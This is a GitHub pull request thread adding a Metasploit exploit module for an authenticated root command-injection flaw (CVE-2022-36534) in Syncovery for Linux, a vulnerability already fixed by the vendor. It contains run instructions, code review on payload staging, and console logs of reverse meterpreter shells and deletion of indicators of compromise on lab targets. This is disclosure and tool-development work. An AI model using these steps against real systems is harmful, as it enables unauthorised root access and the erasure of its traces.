Syncovery For Linux - Auth. RCE (CVE-2022-36534)

[whoot]

This pull request adds the following module for a vulnerability found in Syncovery for Linux.
The vulnerability has been communicated to the vendor and is fixed in the current release. CVE is pending.
A vulnerable version can be downloaded from the vendor website: https://www.syncovery.com/release/Syncovery-9.47a-amd64.deb

CVE-2022-36534: Authenticated Remote Code Execution

Syncovery allows users to execute a command or script before/after running a profile.
Since it is possible to inject arbitrary commands an authenticated attacker can get root access to the host by inserting a crafted payload.

Verification

Download and install a vulnerable version

1. use exploit/unix/http/syncovery_linux_rce_2022_36534
2. set RHOSTS <TARGET HOSTS>
3. set LHOST <Address of Attacking Machine>
4. run
5. You should get a meterpreter shell as the root user.

---

More information can be found on our website: https://www.mgm-sp.com/en/multiple-vulnerabilities-in-syncovery-for-linux/

[github-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[bwatters-r7]

This PR is failing linting because of msftidy:

[whoot]

Hi, any suggestion on how to fix this?

[bcoles]

Hi, any suggestion on how to fix this?

The tests are failing due to a msftidy violation:

--- Checking new and changed module syntax with tools/dev/msftidy.rb ---
modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb - [WARNING] Please use vars_get in send_request_cgi: send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/post_applogin.php?login=#{datastore['USERNAME']

vars_get is preferred for HTTP query string. Instead of:

send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/post_applogin.php?login=#{datastore['USERNAME'] })

Do:

send_request_cgi({
  'uri' => normalize_uri(target_uri.path, '/post_applogin.php'),
  'vars_get' => { 'login' => datastore['USERNAME'].to_s }
})

[whoot]

Hi, any suggestion on how to fix this?

The tests are failing due to a msftidy violation:

--- Checking new and changed module syntax with tools/dev/msftidy.rb ---
modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb - [WARNING] Please use vars_get in send_request_cgi: send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/post_applogin.php?login=#{datastore['USERNAME']

vars_get is preferred for HTTP query string. Instead of:

send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/post_applogin.php?login=#{datastore['USERNAME'] })

Do:

send_request_cgi({
  'uri' => normalize_uri(target_uri.path, '/post_applogin.php'),
  'vars_get' => { 'login' => datastore['USERNAME'].to_s }
})

Thanks! This should do the trick.

[cdelafuente-r7]

Thanks again @whoot for the exploit module! I left some comments and suggestions for you to review when you get a chance.

One more thing I would like to suggest is the use of the CmdStager. Please, refer to the documentation for details. The main benefit of using the CmdStager is that it is possible to send payloads of any size. the mixin will take care of splitting it up and rebuild it on the target before executing. Basically, you will just have to move the code from exploit to a new execute_command method and use something along these lines in the exploit method, assuming you setup the targets as I suggested in this comment:

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end

This module is a good example.

[cdelafuente-r7]

Thanks @whoot! These changes look good to me. However, it doesn't seem to work properly in my environment:

msf6 exploit(unix/http/syncovery_linux_rce_2022_36534) > exploit verbose=true rhosts=192.168.100.233 lhost=192.168.100.1

[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.100.233:8999 - Syncovery 9.47a
[+] The target appears to be vulnerable.
[+] 192.168.100.233:8999 - Login successful
[+] 192.168.100.233:8999 - Profile created
[*] 192.168.100.233:8999 - Running profile
[+] 192.168.100.233:8999 - Exploit successfully executed
[*] 192.168.100.233:8999 - Trying to delete profile
[+] 192.168.100.233:8999 - Profile successfully deleted
[!] This exploit may require manual cleanup of '/etc/.Syncovery/Logs/' on the target
[*] Exploit completed, but no session was created.

I tracked down the issue and it looks like the profile gets deleted before the payload is executed. I just added a sleep 1 before requesting /post_deleteprofile.php and confirmed it works better:

msf6 exploit(unix/http/syncovery_linux_rce_2022_36534) > exploit verbose=true rhosts=192.168.100.233 lhost=192.168.100.1

[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.100.233:8999 - Syncovery 9.47a
[+] The target appears to be vulnerable.
[+] 192.168.100.233:8999 - Login successful
[+] 192.168.100.233:8999 - Profile created
[*] 192.168.100.233:8999 - Running profile
[+] 192.168.100.233:8999 - Exploit successfully executed
[*] Sending stage (40164 bytes) to 192.168.100.233
[*] 192.168.100.233:8999 - Trying to delete profile
[+] 192.168.100.233:8999 - Profile successfully deleted
[*] Meterpreter session 1 opened (192.168.100.1:4444 -> 192.168.100.233:39120) at 2022-12-05 18:06:34 +0100
[!] This exploit may require manual cleanup of '/etc/.Syncovery/Logs/' on the target

meterpreter >

That said, using sleep is not very relyable. Instead, it is recommended to move the code that handles the deletion of the profile in the cleanup method. This method is called by the Framework automatically when the module execution ends and after a session is obtained (or after the WfsDelay timeout expires). You can find many examples of Metasploit module implementations that use the cleanup method.

Regarding using the CmdStager, it will likely solve the Linux Dropper issue you're having. Please, let me know if you want o give it a try. Otherwise, the module is good to go once the issue I mentioned earlier is fixed.

[whoot]

I will look into it and see what I can do.

[whoot]

Tried to use the cleanup method and file_rm, but always getting the following error message:

[-] Exploit failed: undefined local variable or method `session' for #<Module:exploit/unix/http/syncovery_linux_rce_2022_36534 datastore=[{"Payload"=>"cmd/unix/python/meterpreter/reverse_tcp", "WORKSPACE"=>nil, "VERBOSE"=>true, "WfsDelay"=>2, "EnableContextEncoding"=>false, "ContextInformationFile"=>nil, "DisablePayloadHandler"=>false, "RHOSTS"=>"xxxxxx", "RPORT"=>8999, "VHOST"=>nil, "SSL"=>false, "Proxies"=>nil, "UserAgent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69", "HttpUsername"=>"", "HttpPassword"=>"", "HttpRawHeaders"=>nil, "DigestAuthIIS"=>true, "SSLVersion"=>"Auto", "FingerprintCheck"=>true, "DOMAIN"=>"WORKSTATION", "HttpClientTimeout"=>nil, "HttpTrace"=>false, "HttpTraceHeadersOnly"=>false, "HttpTraceColors"=>"red/blu", "SSLServerNameIndication"=>nil, "HTTP::uri_encode_mode"=>"hex-normal", "HTTP::uri_full_url"=>false, "HTTP::pad_method_uri_count"=>1, "HTTP::pad_uri_version_count"=>1, "HTTP::pad_method_uri_type"=>"space", "HTTP::pad_uri_version_type"=>"space", "HTTP::method_random_valid"=>false, "HTTP::method_random_invalid"=>false, "HTTP::method_random_case"=>false, "HTTP::version_random_valid"=>false, "HTTP::version_random_invalid"=>false, "HTTP::uri_dir_self_reference"=>false, "HTTP::uri_dir_fake_relative"=>false, "HTTP::uri_use_backslashes"=>false, "HTTP::pad_fake_headers"=>false, "HTTP::pad_fake_headers_count"=>0, "HTTP::pad_get_params"=>false, "HTTP::pad_get_params_count"=>16, "HTTP::pad_post_params"=>false, "HTTP::pad_post_params_count"=>16, "HTTP::shuffle_get_params"=>false, "HTTP::shuffle_post_params"=>false, "HTTP::uri_fake_end"=>false, "HTTP::uri_fake_params_start"=>false, "HTTP::header_folding"=>false, "USERNAME"=>"default", "PASSWORD"=>"pass", "TOKEN"=>"xxxxxxxx", "TARGETURI"=>"/", "AutoCheck"=>true, "ForceExploit"=>false, "FileDropperDelay"=>nil, "AllowNoCleanup"=>false, "LHOST"=>"xxxxxxx", "LPORT"=>4444, "ReverseListenerBindPort"=>nil, "ReverseAllowProxy"=>false, "ReverseListenerComm"=>nil, "ReverseListenerBindAddress"=>nil, "ReverseListenerThreaded"=>false, "StagerRetryCount"=>10, "StagerRetryWait"=>5, "PingbackRetries"=>0, "PingbackSleep"=>30, "PayloadUUIDSeed"=>nil, "PayloadUUIDRaw"=>nil, "PayloadUUIDName"=>nil, "PayloadUUIDTracking"=>false, "EnableStageEncoding"=>false, "StageEncoder"=>nil, "StageEncoderSaveRegisters"=>"", "StageEncodingFallback"=>true, "AutoLoadStdapi"=>true, "AutoVerifySessionTimeout"=>30, "InitialAutoRunScript"=>"", "AutoRunScript"=>"", "AutoSystemInfo"=>true, "EnableUnicodeEncoding"=>false, "HandlerSSLCert"=>nil, "SessionRetryTotal"=>3600, "SessionRetryWait"=>10, "SessionExpirationTimeout"=>604800, "SessionCommunicationTimeout"=>300, "PayloadProcessCommandLine"=>"", "AutoUnhookProcess"=>false, "MeterpreterDebugBuild"=>false, "MeterpreterDebugLogging"=>nil, "MeterpreterTryToFork"=>true, "HttpHostHeader"=>nil, "HttpCookie"=>nil, "HttpReferer"=>nil, "UNPARSED_RHOSTS"=>"xxxxxx", "RHOSTNAME"=>nil, "TARGET"=>0}]>
Did you mean?  session_count

Meterpreter shell is there, but cleanup of log files is not working.

[whoot]

Did as much as I could, but could not solve the "undefined local variable or method 'session'" issue.
Any help is appreciated!

[cdelafuente-r7]

Thanks for updating this @whoot ! I added some suggestions to handle the issue you reported. Please, let me know if this works for you.

[whoot]

So, I think the module is good to go now.
I fixed an error which occurred when version detection failed and moved the code from the cleanup section to the on_new_session section, because the module otherwise tries to delete the profile even if the login was unsuccessful.

Thank you so so much for your support and for helping me out with all this stuff. Really appreciate it!

[cdelafuente-r7]

Thanks @whoot ! I'm happy to hear the feedback was useful!

It looks good to me now! I tested against Syncovery version 9.47a and I got a session as the root user. I'll go ahead and land it!

• Example output

msf6 exploit(unix/http/syncovery_linux_rce_2022_36534) > exploit verbose=true rhosts=192.168.2.40 lhost=192.168.2.1

[*] Started reverse TCP handler on 192.168.2.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.2.40:8999 - Syncovery 9.47a
[+] The target appears to be vulnerable.
[+] 192.168.2.40:8999 - Login successful
[+] 192.168.2.40:8999 - Profile created
[*] 192.168.2.40:8999 - Running profile
[+] 192.168.2.40:8999 - Exploit successfully executed
[*] Sending stage (40164 bytes) to 192.168.2.40
[*] 192.168.2.40:8999 - Trying to delete IOCs
[+] 192.168.2.40:8999 - Profile successfully deleted
[+] Deleted /etc/.Syncovery/Logs/hmklkmltzcmcsmkqdrtm_2022-12-14_13.37.32_Left_and_right_base_paths_in_the_profile_must_be_different.log
[*] Meterpreter session 2 opened (192.168.2.1:4444 -> 192.168.2.40:35998) at 2022-12-14 13:37:34 +0100

meterpreter > sysinfo
Computer        : ubuntu
OS              : Linux 5.4.0-135-generic #152~18.04.2-Ubuntu SMP Tue Nov 29 08:23:49 UTC 2022
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: root

[cdelafuente-r7]

Release Notes

This adds a module that exploits an authenticated remote code execution vulnerability identified as CVE-2022-36534 in the Web GUI of Syncovery File Sync & Backup Software for Linux. The module leverages a flaw in the application that allows the creation of jobs that will be executed when a profile is run. This allows the execution of arbitrary commands as the root user.